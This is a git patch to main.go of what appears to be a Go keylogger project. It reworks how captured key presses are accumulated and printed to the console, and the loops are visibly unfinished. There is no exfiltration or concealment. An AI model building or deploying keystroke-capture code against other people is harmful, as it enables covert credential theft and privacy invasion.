From 2e88f8f06056470df77695a77a6627d236ce84f5 Mon Sep 17 00:00:00 2001 From: Christopher Talib Date: Thu, 12 Dec 2019 15:18:46 +0100 Subject: [PATCH] adding a return string --- main.go | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/main.go b/main.go index a75d79c..7623999 100644 --- a/main.go +++ b/main.go @@ -112,14 +112,24 @@ func (k *KeyLogger) Close() error { } func output(input InputStream) { - res := []string{} + var res string for { if input.event.KeyString() != "" { - res = append(res, input.event.KeyString()) + res += input.event.KeyString() } + fmt.Println(res) + } } +func join(strs ...string) string { + var sb strings.Builder + for _, str := range strs { + sb.WriteString(str) + } + return sb.String() +} + func main() { fmt.Println("Your keyboard input will be here: ", getKeyboard()) // TODO @@ -134,18 +144,19 @@ func main() { } defer klog.Close() events := klog.Read() - stream := InputStream{} - go output(stream) - + // stream := InputStream{} + var b strings.Builder for e := range events { switch e.Type { case utils.EvKey: if e.KeyPress() { - stream.event = e + b.WriteString(e.KeyString()) } break + default: + fmt.Println(b.String()) } }